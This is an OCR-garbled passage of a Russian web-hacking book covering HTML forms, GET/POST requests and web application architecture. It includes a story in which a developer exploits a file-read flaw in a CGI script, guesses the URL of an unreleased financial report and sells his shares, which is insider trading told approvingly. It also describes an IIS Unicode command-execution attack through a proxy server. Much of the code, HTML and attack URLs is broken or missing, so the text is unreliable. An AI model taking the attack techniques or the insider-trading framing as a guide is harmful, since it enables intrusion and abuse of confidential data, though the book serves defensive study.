Форма, отображаемая в пользовательском броузере
Рис. 5.4. Элементы формы HTML
Необходимо помнить о некоторых ключевых концепциях, связанных с
формами.
130
Часть I. Будни электронной коммерции
• Метод (method). Для каждой формы должен быть задан один метод передачи
данных --- либо GET, либо POST. Этот метод определяет, какой метод HTTP будет
использоваться броузером при отправке данных формы на сервер.
• Действие (action). С каждой формой должно ассоциироваться приложение
обработчик, размещенное на сервере. Приложение должно быть спроектирова
но таким образом, чтобы обеспечивалась возможность получения данных от
различных входных элементов этой формы.
• Входные поля (input element). Каждый входной элемент должен иметь имя, ко
торое используется в серверном приложении для синтаксического анализа па
раметров и их значений.
• Кнопка передачи данных. На каждой форме должна содержаться кнопка переда
чи данных --- специальный тип управляющего элемента, который отображается
броузером в виде кнопки, на которой можно щелкать мышью. После щелчка на
этой кнопке броузер соберет и закодирует данные, введенные в различные поля
формы, а затем отправит их серверному приложению.
В качестве примера рассмотрим небольшую форму регистрации на главной стра
нице узла www.acme art.com. Ниже приведен исходный код этой формы вместе с эле
ментами формы, выделенными жирным шрифтом.
<table
<tr>
type=text
</tr>
<tr>
<td>Password:</td>
name=pass
</tr>
</table>
value= "login">
Различные элементы этой формы регистрации узла
представлены ниже.
Элемент
Тип
Значение
Метод
POST
Действие
Поле
text
Поле
password
Кнопка передачи данных
login
Элементы ввода данных
В предыдущем примере использовались три типа элементов формы: TEXT, PASSWORD
и SUBMIT. Полное описание различных типов полей HTML форм приводится в специ
фикации HTML 4.0
В табл. 5.4 приведены некоторые наиболее
часто используемые элементы и их назначение.
Таблица 5.4. Входные элементы HTML формы
Тип элемента Дескриптор
Описание
TEXT
TYPE=TEXT>
Поле формы, используемое по умолчанию. В это поле текст
ASCII можно вводить в виде одной строки
Глава 5. URL: оружие хакера в Web
131
табл. 5.4
Тип элемента Дескриптор
Описание
PASSWORD <INPUT TYPE=PASSWORD>
TEXTAREA
CHECKBOX
TYPE
RADIO
TYPE=RADIO>
Используется для ввода конфиденциальных данных. При
отображении в броузере содержимое этого поля представ
ляется с помощью символов а не реально вводимых
символов. Следует отметить, что это единственная защит
ная мера. В остальном поле
ничем не отличается
от поля TEXT
,
Используется для ввода символов ASCII в несколько строк
Отображает в окне броузера флажок. Он может быть уста
новлен или сброшен и используется для передачи логиче
ских (булевых) данных
Применяется для отображения переключателя. В группе та
ких переключателей одновременно может быть выбран
только один элемент. Это поле используется для выбора из
нескольких возможных значений
Служит для отображения прокручиваемого списка и позво
ляет выбрать один или несколько элементов из этого спи
ска. В каждом наборе дескрипторов
</SELECT>
может содержаться один или несколько дескрипторов
<OPTION>, каждый из которых соответствует одному эле
менту внутри списка
Поле такого типа не отображается в броузере. Однако
скрытое поле можно использовать для передачи предвари
тельно заданной информации или конфигурационных пара
метров приложению, содержащемуся на сервере. Скрытые
поля невидимы только со стороны броузера. Их можно лег
ко увидеть, внимательно просмотрев исходный код HTML
страницы. Подробнее этот вопрос обсуждается в главе 6
Позволяет задать на форме кнопку передачи данных. При
щелчке на ней броузер должен собрать данные, введенные
в поля формы, и передать их серверному приложению, ука
занному в атрибуте ACTION дескриптора FORM
ON
<OPTION>
</OPTION>
<OPTION>
</OPTION>
HIDDEN
TYPE=HIDDEN>
SUBMIT
<INPUT TYPE=SUBMIT>
Передача параметров с помощью
методов GET и POST
В завершение обсуждения HTML форм рассмотрим передачу параметров сервер
ным приложениям с использованием методов GET и POST. Для более наглядного пред
ставления этой процедуры рассмотрим пример. Предположим, что на сервере
192.168.7.102 есть страница HTML, описанная в файле form_elements.html. В состав
этой страницы входит две HTML формы. В каждой форме содержится один и тот же
набор полей. Единственное различие между ними заключается в том, что в одной
форме для передачи данных используется метод GET, а во второй --- POST. Обе формы
определены с помощью следующего кода HTML:
132
Часть I. Будни электронной коммерции
TEXT: <BR>
TYPE=TEXT
SIZE=20><P>
PASSWORD:<BR>
TYPE=PASSWORD
SIZE=20><P>
TEXTAREA:<BR>
POWS=5
NAME=3
HIDDEN
see
Yup,
<BR>
TYPE=SUBMIT
TEXT:<BR> <INPUT TYPE=TEXT
SIZE=20><P>
PASSWORD:<BR>
TYPE=PASSWORD
SIZE=20XP>
TEXTAREA:<BR> <TEXTAREA
HIDDEN
see
Yup,
SUBMIT: <BR> <INPUT
В обеих формах данные передаются программе
Полный URL
адрес этой
Файл print
cgi представляет собой простую программу, которая выводит все входные пара
метры и их значения в виде таблицы. Кроме того, этот сценарий отображает HTTP
метод, который был использован для передачи данных на сервер. Вот исходный код,
содержащийся в файле
requir e
6Re adPars e(*input);
print
print
print "Form method:
print
foreach
{
print
}
print
Программа
написана на языке Perl. Функция
опреде
лена в библиотеке Perl cgi lib.pl, в которой содержатся стандартные процедуры об
работки, поддерживающие интерфейс CGI. Все параметры, передаваемые сценарию
хранятся в ассоциативном массиве input. В цикле fo r e a ch итеративно
перебираются и выводятся на печать все пары "имя параметра/значение" этого ассо
циативного массива. При запуске сценария
Web сервером устанавли
вается переменная окружения REQUEST METHOD. В качестве значения этой переменной
может использоваться либо GET, либо POST.
Посмотрим, что произойдет, если некоторые данные ввести в каждую из форм
страницы fo rm_ ele m e nts.html, а затем передать их сначала с помощью метода GET, а за
тем POST. На рис. 5.5 показано, какие данные вводятся в эти формы.
Итак, что же произойдет, если данные формы передать с помощью запроса GET?
На рис. 5.6 показаны результаты, которые сервер вернул обратно в броузер.
Посмотрим на адресную строку в окне броузера, показанном на рис. 5.6. Несмотря
на то что отображается только часть URL, видно, что все введенные данные после ко
дирования были отправлены на Web сервер в строке запроса URL. Передаваемый на
сервер
имеет следующий вид:
,
password
hidden
Глава 5. URL: оружие хакера в Web
133
Рис. 5.5. Страница
с данными, введенны
ми в форме
Input received
Form
GET
.
.
.
.
•
a
GIT
Рис. 5.6. Результаты, сгенерированные сценарием print
cgi после обработки запроса GET
134
Часть Будни электронной коммерции
Обратите внимание, что содержимое и поля ввода пароля Jill, и скрытого поля
Cant see me отображается в строке URL как обычный текст. Символы возврата карет
ки и перевода строки в текстовом окне были закодированы как
что соответст
вует формату кодирования URL.
Передаваемый броузером HTTP запрос имеет следующий вид:
GET /cgi bin/print
hidden
HTTP/1.0
Referer:
Connection: Keep Alive
User Agent:
[en] (Windows NT 5.0; 0)
Host: 192.168.7.102
Accept:
*/*
Accept Encoding: gzip
en
Accept Charset:
Что произойдет, если данные из формы передать с использованием запроса POST?
На рис. 5.7 показаны результаты, полученные после обработки такого запроса сцена
рием
Input received
POST
Jack
Jill
т
POST
Cant
Puc. 5.7. Результаты, полученные от
cgi после обработки запроса POST сценария print
При передаче параметров с помощью метода POST строка запроса URL уже не ис
пользуется. Вместо этого они передаются после HTTP заголовка. При этом переда
ваемый броузером запрос HTTP имеет следующий вид:
POST
HTTP/1.0
Referer:
Connection: Keep Alive
5. URL: оружие хакера в Web
135
User Agent:
[en] (Windows NT 5.0;
Host: 192.168.7.102
Accept:
*/*
gzip
Accept Language: en
Accept Charset:
Content length: 123
1
Первое отличие обращения к ресурсу
по методу POST (вместо мето
да GET) заключается в первой строке HTTP заголовка. Второе состоит в том, что ис
пользуется еще два дополнительных заголовка HTTP:
• Content type;
• Content length.
В заголовке Content type указывается тип содержимого, передаваемого в запросе.
Как правило, для форм HTML в заголовке Content type используется значение
т.е. входные данные кодируются с использованием стандартного
формата кодирования URL. В заголовке Content length содержится длина передавае
мых данных в байтах.
Метод POST позволяет передавать серверному приложению данные большого объе
ма, следовательно, ограниченная по длине строка запроса URL в этом случае уже не
используется. Строка Content length в заголовке HTTP является последней, после ко
торой серверу передается пустая строка. Все, что передается за этой строкой, и пред
ставляет собой входные данные, закодированные в формате URL.
Как и в запросе GET, при использовании метода POST содержимое поля пароля и
скрытого поля передается в виде незашифрованного текста. Разница заключается
лишь в том, что эти данные не передаются как часть строки URL.
Резюме
Адрес
--- это крошечная дверца для входа во внутренний механизм Web
сервера, которая позволяет свести на нет усилия всех брандмауэров, систем выявле
ния вторжений (IDS) и proxy серверов. Пользователи вынуждены пропускать через
свои брандмауэры весь трафик, направленный к портам 80 (HTTP) и 443 (SSL). Воз
можно, нельзя предусмотреть все комбинации недопустимых URL и изобрести сигна
туру IDS или proxy фильтр, которые позволят защититься от атак через эти порты. По
существу, все технологии борьбы с
в Web, могут оказаться беспо
лезными, когда дело касается Web атак. Чтобы помочь распознать изъяны, в данной
главе обсуждалась структура URL, механизмы передачи параметров между Web
броузером и сервером, система кодирования URL, потенциальные возможности ее
некорректного использования и, наконец, формы HTML.
136
Часть I. Будни электронной коммерции
ЧАСТЬ II
Секреты URL
Случай из жизни: исследование
подступов к корпоративным
сокровищам
Однажды Джек задержался в офисе до поздней ночи. Он был экстраординарным
разработчиком приложений для Web (а также знаменитым Web хакером), часто скучал
и любил изучать рынок. Он относился к тем людям, которые всегда хотят обращать на
себя внимание. В эту ночь Джек немного загрустил и решил порыскать в Internet.
Недавно Джек приобрел несколько фильмов на интерактивном Web узле
на котором был представлен каталог более чем из 10 000 наименований фильмов и
музыки, записанных на видеокассетах, а также музыкальных компакт дисках и DVD.
За день до этого Джек получил с упомянутого узла почтовое
о появле
нии нового Web узла, который был гораздо дружелюбнее своего предшественника. Но
больше всего Джека заинтересовало сообщение торговой компании о том, что новый
Web узел невозможно взломать. Как только Джек вспомнил об этом, его руки сами по
тянулись к клавиатуре и пальцы забегали в неистовом танце. Джек решил найти опро
вержение утверждению, которое содержалось в почтовом сообщении.
Он начал с просмотра главной страницы
компании
У страницы был броский дизайн, и она была перегружена роликами Macromedia
Flash. Кроме того, на узле использовалась одна из технологий серверной обработки
данных, с которой Джек не был знаком. Он решил проанализировать URL и попы
таться более точно определить используемую технологию. Для доступа к основной
странице использовался следующий URL:
Внимательно рассмотрев URL, Джек обратил внимание на ряд аспектов.
• Как следует из имени файла
разработчик Web приложения воспользо
вался одной из технологий CGI, возможно, языком Perl.
• Программист использовал динамический HTML (DHTML) с возможностями,
предоставляемыми последней версией 4.0 языка HTML. Такой вывод следует из
имени файла
• Поскольку программе CGI (load.cgi) параметры передаются в строке запроса
URL, то можно сделать вывод о
что для передачи содержимого использу
ются запросы GET.
http:
Если программист, написавший сценарий
не позаботился о строгой про
верке передаваемых значений полей, то кто нибудь обязательно сможет просмотреть
содержимое любого файла в файловой системе Web сервера. Однако Джек этого не
знал, пока не попробовал ввести следующий URL:
cgi
В результате обработки этого URL на экране появился исходный код основной
load.cgi. Теперь Джек мог просмотреть любой файл файловой систе
мы. Однако, прежде чем приступить к поиску потенциальных целей исследуемого
Web узла, он решил обратиться к файлу r obots .txt.
cgi?file=robots.txt
138
Часть II
В этом файле содержится перечень каталогов и
которые не должны отсле
живаться при перемещении по Web узлу. Этот файл позволяет снизить загруженность
Web сервера за счет исключения определенных каталогов и файлов, задействованных
при обработке запросов.
Джек заметил каталог /Forecast, заслуживающий определенного интереса. Сначала
он попытался получить содержимое этого каталога, но неудачно.
Тогда Джек решил воспользоваться несколькими известными именами файлов, та
кими, как
и
однако это тоже ни к чему не привело. Поэтому он
решил получить образ всего Web узла и посмотреть, ссылаются ли на этот каталог ка
кие либо файлы. Для этого прекрасно подошла утилита
Pro. Просмотрев по
лученные данные, Джек нашел последовательность файлов, которые по счастливой
случайности назывались
х представлял собой номер
квартала (1, 2, 3 и 4), a
две последние цифры года (99, 00, 01 и 02).
http://www.example.com/Forecast/Example.com Forecast Q299.pdf
pdf
Зная, что 28 марта 2002 года --- это текущая дата и скоро заканчивается первый
квартал, Джек попробовал воспользоваться следующим URL:
http:
pdf
На экране появилось окно, в котором предлагалось сохранить файл
Все произошло так быстро!
Утилите Teleport Pro не удалось найти этот файл, однако Джек надеялся, что фи
нансовый отдел разместит промежуточную версию отчета на Web узле, чтобы инве
сторы могли с ним познакомиться. Именно так и случилось. Человеческая предска
зуемость прекрасная вещь!
Имея в своем распоряжении файл, Джек приступил к поиску в нем конфиденци
альных данных. Оказалось, что подобной информации более чем достаточно. В част
ности, доходы не соответствовали ожиданиям, которые были выражены в общем пла
не развития. Джек быстро понял, что нужно продать свои акции до того, как финан
совый отчет попадет кому то на глаза, и заработать $1000. Поэтому он зарегистри
ровался на своем Web узле и разместил на нем предложение о продаже. После этого
Джек долго размышлял о своем успехе. Возможно, благодаря проделанным операциям
в будущем у него возникнет не так много
URL
139
ГЛАВА 6
Закулисами
Лучше зажечь свечу, чем бранить темноту. Китайская пословица
Введение
В этой главе описывается важный элемент "цифрового поля боя" --- Web приложения.
Подробно рассматриваются функциональные компоненты стандартных Web приложений
и их взаимодействие друг с другом. Понимание составляющих обработки информации
в Web позволит организовать защиту, достойную восхищения.
В главе 5 были представлены основанные на анализе URL адресов способы, с по
мощью которых можно выяснить, что происходит на Web сервере. Теперь рассмотрим
новые возможности и опишем различные технологии, применяемые на Web серверах.
В этой главе рассматриваются следующие вопросы:
• создание среды работы Web приложений;
• подключение компонентов;
• технологии идентификации, основанные на URL;
• анализ ошибок, выдаваемых Web приложениями и базами данных;
• блокирование утечки информации.
Первая половина этой главы знакомит читателя со способами совместного исполь
зования различных технологий в рамках одного
а в оставшейся час
ти речь пойдет о том, какие знания и догадки применяет взломщик при атаке на ком
поненты Web системы.
Компоненты Web приложений
Создание Web систем напоминает попытку связать воедино домашний развлека
тельный комплекс --- возможности здесь не ограничены. Такая система включает свя
занные между собой элементы, которые установлены с заданными параметрами. Не
обходимо лишь поместить все это в изящный ящик из красного дерева, включить пи
тание, сесть на диван и нажать нужные кнопки на пульте дистанционного
управления. Однако настоящий любитель музыки никогда не успокоится, пока не
подберет каждый элемент в отдельности, подключит их все вместе, выберет точные
настройки и добьется максимального эффекта. Кто же в данном случае будет более
прав: этот любитель музыки или тот, кто выбрал систему "все в одном"? На самом
деле понятия "правильный выбор" не существует, поскольку выбор зависит прежде
всего от потребностей человека и его желаний. Для достижения оптимального уровня
воспроизведения необходимо тщательно подобрать и настроить каждый элемент. Аку
стика, свет, окружающий шум, элегантность внешнего вида, возможность наилучшего
воспроизведения записей для различных носителей --- все эти факторы необходимо
учитывать при создании домашнего развлекательного комплекса. Если человеку про
сто нужно слушать записи и его устраивает уровень воспроизведения немногим выше
среднего, то ему подойдет система "все в одном". Преимущество состоит в том, что
такая система продается как единое целое и отличается простотой эксплуатации.
Все то же самое можно применить и к Web приложениям. Например, системы ти
па
(end to end system) содержат компоненты, которые находятся и
взаимодействуют друг с другом в едином блоке. Но, если требуется приложение с бо
лее высокой производительностью и пропускной способностью, наилучшим решени
ем будет сочетание различных Web технологий.
Обычно Web приложение содержит три основных компонента.
• Внешний Web сервер (front end Web server).
• Среда выполнения Web приложения (Web application execution environment).
• Сервер баз данных (database server).
Глава 6. За кулисами Web сервера
141
На рис.
показана схема функционирования стандартного Web приложения.
Не затрагивая пока работу Web броузера и брандмауэра, рассмотрим функцио
нальные особенности каждого компонента Web приложения, помня о том, что они
могут находиться как на одном и том же, так и на разных компьютерах.
Web приложение
Web приложение
Web приложение
Web приложение
Брандмауэр
Рис. 6.1. Схема функционирования стандартного Web приложения
Внешний Web сервер
Внешний Web сервер главным образом отвечает за прием HTTP запросов от кли
ентов и отправку им HTTP ответов. Причем он должен обеспечить обслуживание
большого числа параллельных запросов и в то же время эффективно использовать ре
сурсы и поддерживать высокую пропускную способность. Такие серверы достаточно
универсальны. Они способны выполнять обработку статических HTML файлов и не
которых динамических сценариев, но никоим образом не могут использоваться для
обслуживания Web приложений в целом.
Внешний Web сервер должен обладать следующими функциональными возмож
ностями.
• Масштабируемость и устойчивость. Web сервер должен допускать расширение
возможностей без дополнительных затрат на настройку аппаратных средств и
операционной системы. При увеличении нагрузки на сервер потери в произво
дительности должны быть минимальны. Сервер должен легко восстанавливать
ся после сбоев, вызванных некорректной работой подкомпонентов или внеш
них подключенных к нему компонентов.
•
к общеизвестным атакам. Поскольку внешние Web серверы яв
ляются компонентами, которые будут подвергаться атакам в первую
их
142
Часть II. Секреты URL
необходимо защищать от таких общеизвестных изъянов, как переполнение бу
фера, вставка метасимволов и др.
• Устойчивость к перегрузкам и возможность обработки большого числа параллель
ных соединений. Обычно внешние Web серверы
и обеспечивают
обработку трафика большого объема, как в смысле количества обработанных
запросов в единицу времени, так и в смысле количества одновременных парал
лельных подключений. Поэтому необходимо тщательно настроить параметры
используемой операционной системы для обеспечения максимальной произво
дительности Web сервера.
• Разнообразие конфигурационных установок. Это свойство позволяет настраивать
различные программные компоненты Web сервера: диаграммы ресурсов, обра
ботчики ошибок, интерфейсы внешних компонентов и др.
• Возможность поддержки надстроек и функций API для подключения внешних ком
понентов и модулей. Возможность поддержки программных интерфейсов при
ложений и надстроек (plug in) является важным свойством, поскольку позволя
ет увеличить производительность сервера путем подключения внешних моду
лей. Это также обеспечивает неразрывную связь среды выполнения команд
Web приложения с внешним Web сервером. Например, Web сервер Apache по
зволяет интегрировать с основным Web сервером распределенные совместно
используемые объекты DSO (Distributed Shared Object). Сервер Microsoft IIS со
держит
(интерфейс программирования приложений Internet
сервера), который позволяет разработчику подключать дополнительные модули,
а сервер Netscape, в свою очередь, ---
На данный момент, согласно исследованию, проведенному компанией
наиболее распространенными внешними Web серверами являются
следующие:
• Apache;
• Microsoft IIS;
• Netscape/iPlanet server;
• Zeus Web server.
'
Среда выполнения Web приложения
Среда выполнения Web приложения --- это платформа для создания приложений,
которые получают входные данные из HTML форм или URL адресов и динамически
генерируют ответ в формате HTML. Обычно под средой выполнения Web приложений
подразумевается сервер Web приложения. Среда выполнения Web приложения (или
серверный компонент Web приложения) может просто представлять собой внешний
Web сервер или отдельную прикладную систему.
Поскольку современные операционные системы поставляются вместе со встро
енными интерпретаторами или языками сценариев, Web серверы также содержат
компоненты сценариев. Такие языки, как Perl, Active Server Pages (Visual Basic), PHP
и т.п., обычно связаны с Web серверами Apache, IIS либо Netscape.
При выборе
разработки серверного компонента Web приложения не
обходимо учитывать ряд факторов.
• Удобство разработки. Выбор надлежащего языка программирования является
наиболее важным в создании Web приложений. Многие языки сценариев, такие,
как Perl, были вытеснены более специализированными языками создания Web
приложений, такими, как РНР и ASP. В данный момент приобретают популяр
Глава 6. За кулисами Web сервера
' 143
специализированные среды для разработки компонентов, в том числе J2EE
и
компании Microsoft. Во многих случаях Web приложения проектируются
на основе существующих клиент серверных приложений. Вместо создания заново
программы разработчик предпочитает подключить интерфейсные оболочки
к уже написанному коду и в результате получает Web приложение. Наш выбор ---
объектно ориентированные языки.
• Интерфейсы внешнего Web сервера. Серверная часть Web приложения должна
быть максимально совместима с внешним Web сервером и обеспечивать раз
личные способы подключения к нему. Наиболее распространенные коммерче
ские и некоммерческие компоненты поддерживают интеграцию с такими из
вестными серверами, как Apache, Microsoft IIS и Netscape.
• Интерфейсы баз данных. Серверные компоненты должны быть совместимы с
такими известными серверами баз данных, как Oracle, DB2, SQL Server и
MySQL. Подключение к базе данных может реализовываться с помощью биб
лиотек языка программирования или отдельных компонентов.
Сервер баз данных
Этот сервер используется в Web приложениях для размещения баз
и таб
лиц, необходимых для разрабатываемого приложения. Он является, возможно, наи
более важным компонентом для создания Web систем. Взаимодействие сервера баз
данных с приложением происходит с помощью собственных API функций, драйве
ров базы данных или компонентов посредников (компонентов среднего уровня), а
обработка транзакций --- посредством SQL.
Взаимодействие компонентов
Существует несколько способов взаимодействия компонентов Web приложения
друг с другом. На рис. 6.2 показаны четыре схемы взаимодействия серверного компо
нента Web приложения с внешним сервером и сервером баз данных. Рассмотрим ка
ждый из этих методов более подробно.
Собственная среда обработки приложений
Первый, и наиболее простой, способ состоит в написании приложения для среды
обработки самого внешнего сервера. Такие Web серверы, как Microsoft IIS, содержат
встроенные средства обработки, например страниц Active Server Pages, которые позво
ляют разработчикам создавать Web системы, используя язык Visual Basic.
Надстройки и API функции Web сервера
Второй метод заключается в разработке приложений с использованием библиотек
API функций Web сервера. В таком случае приложение является надстройкой над
внешним сервером и может иметь свой адрес
Серверы Apache, IIS и Netscape
имеют библиотеки API функций, которые можно подключать к разрабатываемому при
ложению. Так, большинство коммерческих серверных компонентов Web приложений
функционируют как динамические совместно используемые объекты DSO (Dynamic
Shared Object) Apache, расширения Microsoft
или модули Netscape
Эти компоненты обеспечивают более гибкую разработку приложений, нежели среда
144 '
Часть II. Секреты URL
внешнего Web сервера. Например, сервер Java приложений ServletExec, созданный ком
панией NewAtlanta Inc., функционирует как объект Apache DSO или как расширение
Microsoft ISAPI. Он позволяет подключать
Java, компоненты EJB и страницы
JSP к оболочке выполнения программ J2EE. Работая как надстройка к серверу Apache
или IIS, ServletExec расширяет их возможности, позволяя разработчикам подключать
Java приложения к обоим Web серверам. Причем сервер приложения запускается в той
же системе, что и Web сервер, и находится под управлением его конфигурации.
Внешний
Web сервер
Программный
интерфейс
приложения
Собственное
приложение
Сервер приложения
на внешнем сервере е /
.
TCP порт
Сервер
приложения
на внешнем
Рис. 6.2. Взаимодействие серверов Web приложения
Отображение URL адресов и внутреннее
перенаправление
Третий способ взаимодействия сервера Web приложения с внешним Web сервером
состоит в отображении URL адресов и внутреннем перенаправлении информации.
Этот метод не требует библиотек API функций или надстроек. Наоборот, сервер Web
приложения функционирует как независимый HTTP сервер, прослушивая TCP порт,
не задействованный внешним Web сервером. При этом внешний Web сервер за счет
специальной настройки отображает определенные URL адреса на сервер Web
приложения, который работает с другим TCP портом. Это обеспечивает более общий
уровень взаимодействия, но несколько снижает производительность системы, по
Глава 6. За кулисами
145
скольку внешний Web сервер и сервер Web приложения, в отличие от процедур, ис
пользующих API функции, работают в пространстве различных процессов и обмен
данными происходит посредством протокола HTTP.
Перенаправление к внутреннему серверу
приложений
Четвертый способ состоит в запуске сервера Web приложения на
систе
ме, которая доступна с внешнего сервера по IP адресу внутренней сети. Причем дос
туп нельзя осуществить непосредственно из внешней сети, а только через внешний
сервер. В этом случае для внутреннего сервера приложений он выступает proxy
сервером, выполняющим преобразование URL. Предложенный метод является рас
ширением предыдущего и позволяет серверам приложений, работающим с одним или
несколькими внешними Web серверами, подгружать различные компоненты прило
жения. Избыточность серверов (внешних и внутренних) позволяет повысить пропуск
ную способность, масштабируемость и надежность.
Приведенные далее примеры демонстрируют разницу между различными способа
ми взаимодействия компонентов Web приложения.
.
Примеры
Взаимодействие сценариев РНРЗ
с сервером Apache
В наши дни РНРЗ неразрывно связан с сервером Apache. Практически все Web
серверы Apache поддерживают приложения, написанные на РНР. Этот язык является
независимой платформой и предоставляет мощный инструментарий для создания
Web приложений. В данном примере РНРЗ взаимодействует с Apache с помощью ди
намических совместно используемых объектов Apache DSO (Dynamic Shared Object).
Код скомпилирован и скомпонован как модуль Apache под именем
so. Чтобы
обеспечить возможность обработки файлов с расширением
в файл конфигура
ции Apache
conf необходимо добавить следующие директивы:
AddType application/x httpd php3
Модуль
как объект Apache DSO
Модуль ServletExec также может функционировать в качестве объекта DSO с Web
сервером Apache. Но при этом ServletExec необходимо запустить как независимый
сервер, который будет прослушивать TCP порты, не задействованные сервером
Apache. Затем модуль mod
so нужно поместить в папку libexec корневого
каталога Apache и прописать соответствующий путь в файле конфигурации
Для возможности обработки сервером ServletExec файлов с расширением
не
обходимо добавить следующие директивы:
146
Часть II. Секреты URL
/servlet>
servlet exec ,jsp
строки позволяют серверу
автоматически обрабатывать формы с ад
ресами
и http://www.someserver.com/
jsp.
Модуль ServletExec как
для Microsoft IIS
В операционной системе Microsoft Windows NT/2000 сервер Java приложений
ServletExec можно настроить как независимый Web сервер или как ISAPI
расширение. При этом ServletExec записывает в папку
динамически
подключаемую библиотеку ServletExec_Adapter.dll, которая доступна серверам при
ложений в качестве ISAPI расширения. Сервер приложений ServletExec работает как
служба Windows NT/2000.
Как показано на рис. 6.3, файл ServletExec_Adapter.dll можно зарегистрировать во
вкладке настройки
для служб сервера Microsoft IIS.
При такой настройке запрос, направленный серверу IIS и содержащий ссылку на
Java или на файл с расширением
будет обязательно перехвачен сервером
ServletExec и обработан в его собственной среде выполнения. Такой способ конфигу
рации и взаимодействия аналогичен тому, который использовался при взаимодейст
вии ServletExec с Apache.
Рис. 6.3. Установка ServletExec как ISAPI расширения
Взаимодействие серверов IIS и Domino
с сервером Netscape Enterprise Server
Во время одной из атак мы случайно натолкнулись на приложение, изначально
написанное и подключенное к серверу Lotus Domino, а затем интегрированное с дру
гим приложением для IIS с помощью сценария ASP. Причем серверы IIS и Domino
Глава 6. За кулисами
147
V
находились на разных системах. Поскольку эти серверы не так то легко интегриро
вать друг с другом, мы решили, что это можно осуществить лишь с помощью внеш
него Web сервера, в качестве которого использовался Netscape Enterprise Server. При
таком построении Netscape Enterprise Server перенаправляет определенные URL
адреса серверам IIS и Domino, которые находятся во внутренней сети Web сервера.
На рис. 6.4 показана схема размещения и взаимодействия этих Web систем. Сервер
Netscape имеет внешний адрес
и подключен к внутренней сети с адресом
10.6.6.0. Вторичный адрес
10.6.6.6. Серверы IIS и Domino подключены
по адресам
и 10.6.6.4 соответственно. На рис. 6.5 показаны настройки внеш
него сервера Netscape.
Рис. 6.4.
под управлением серверов IIS и Domino
По умолчанию URL адрес
преобразуется в адрес
URL адреса
и
publish преобразуются в
и
publish соответственно и обрабатываются сервером IIS. Остальные два адреса ---
и
--- трансформируются в http://
и
и обрабатываются сервером Domino. Та
ким образом, Web приложение в целом доступно через общий внешний Web сервер, а
подкомпоненты обрабатываются внутренними серверами IIS и Domino. Так, на
пример, запрос
будет преобра
зован в
и отправлен как проме
жуточный HTTP запрос по адресу 10.6.6.5. В свою очередь, URL адрес
будет трансформирован в
и
передан как HTTP запрос по адресу
148
Часть II. Секреты URL
.
.
V.
:
6.5. Настройка сервера Netscape
Коварнейшая атака
Весь доступ к Web приложению осуществлялся через сервер Netscape Enterprise.
Однако, проанализировав различные виды URL адресов, мы легко выделили те
части приложения, которые обрабатывались серверами IIS (очевидно из наличия
ссылок на файлы с расширением
и Domino (файлы с расширением
Запрос
по адресу
позволил определить, что в качестве
Web сервера использовался Netscape Enterprise. Но все это не имело никакого
смысла до тех пор, пока мы не поняли, что Netscape Enterprise использовался
как proxy сервер для перенаправления запросов внутренним серверам IIS и
Domino.
The specified CGI application misbehaved by not returning a complete set of
headers. The
headers it did
are:
and
Users
\
«/
HTTP USER
[en]
U)
\
\
\
2\
PATH
.VBS; .VBE;
6.6. Unicode атака no адресу 10.6.6.5 через сервер Netscape
Глава 6. За кулисами
Атака на внутренний сервер IIS была быстрой и точной. Один единственный
URL запрос позволял удаленно выполнять команды на сервере IIS по адресу
используя уязвимость кодировки Unicode сервера IIS.
На рис. 6.6 показано окно броузера после выполнения этого запроса.
Вам понятно, в чем состояла эта атака? Сервер Netscape был настроен преобразо
вывать любые URL адреса, начинающиеся с /content/, в
Таким образом, получив первоначальный запрос, он преобразовал его в
Затем этот URL адрес передавался по внутренней сети как HTTP запрос к серверу
IIS по адресу 10.6.6.5. Получив этот запрос, сервер IIS из за наличия символов
между фрагментами /co ntent/ и /s c rip ts/ преобразовал его в обычную атаку,
связанную с уязвимостью кодировки Unicode:
В результате броузер отображал список команд, которые были запущены на серве
ре Windows 2000 по адресу
т.е. использование общего URL адреса спо
собствовало взлому сервера приложения во внутренней сети, несмотря на то что
он был защищен брандмауэром и внешним Web сервером.
Доступ к базам данных
Развитие приложений на платформе клиент/сервер способствовало повышению гибко
сти и стандартизации доступа к базам данных. В 1970 х и начале 1980 х годов системы
управления базами данных, или СУБД (database management system --- DBMS), представля
ли собой огромные и монолитные "глыбы". Каждая такая система имела собственный
язык программирования и формат файлов. Но с внедрением языка структурированных за
просов SQL разработчики получили возможность стандартизовать процессы определения и
обработки данных. Большинство администраторов баз данных одобрили SQL в качестве
стандартного языка доступа к базам данных. Однако полная независимость приложения от
базы данных стала возможна только с разработкой приложений на платформе кли
ент/сервер. Теперь приложение и СУБД не обязательно должны находиться в одной и той
же системе. Доступ к базе данных можно осуществить с использованием API функций
языка программирования, на котором написано приложение. функции поддерживают
связь с базой данных и аутентификацию, позволяют отправлять SQL запросы к базе дан
ных, извлекать результаты запросов и отправлять их обратно приложению.
В данный момент наиболее популярными способами доступа к базам данных яв
ляются следующие:
• использование собственных API функций базы данных;
• стандарт ODBC;
• стандарт JDBC.
•
.
.
Использование собственных API функций
базы данных
Языки программирования
PHP, ASP и Perl содержат библиотеки
API функций, которые обеспечивают доступ к таким наиболее известным серверам баз
150
Часть II. Секреты URL
данных, как Oracle, DB2, SQL Server, Sybase и MySQL. Все, что необходимо сделать раз
работчику, --- вызвать нужные API функции для взаимодействия с базой данных. Рас
смотрим несколько примеров, демонстрирующих использование API функций.
Примеры
Доступ к SQL Server с помощью ASP
Приведенный фрагмент кода демонстрирует возможность выполнения запросов
к серверу Microsoft SQL Server с помощью сценария ASP.
Set
db
Data
Initial
User Id=dbuser;
Set
name, address from profiles")
Этот код практически не требует пояснений. Сначала инициализируется объект
соединения с базой данных db_connection, который впоследствии используется для ус
тановления соединения с сервером SQL Server по адресу 192 . 168 . 7 . 2 46. Затем выпол
няется SQL запрос и соединение разрывается. Таким образом, API функции поддер
живают объекты соединения для обеспечения доступа к базам данных.
Доступ к Oracle с помощью сценария РНР
Следующий фрагмент кода, написанный на языке РНР, демонстрирует возмож
ность использования интерфейса (Oracle Connection Interface) для доступа к сер
веру баз данных Oracle.
<?php
into email_info values
Этот способ в той или иной степени аналогичен предыдущему.
Использование стандарта ODBC
Применение API функций языка программирования для управления соединением с
базой данных --- метод достаточно обременительный. Иногда приложение должно взаи
модействовать с различными базами данных или его необходимо перенести на плат
форму с другим языком программирования. В таких случаях использование API
функций затруднительно и доставляет много проблем. Для устранения этого недостатка
был разработан стандарт открытого соединения с базами данных ODBC (Open Database
Глава 6. За кулисами
151
Connectivity), который обеспечивает универсальный метод доступа к базам данных. Те
перь для установки связи с базой данных необходимо только подключить соответствую
щий ODBC драйвер. При изменении базы данных нужно всего лишь подключить но
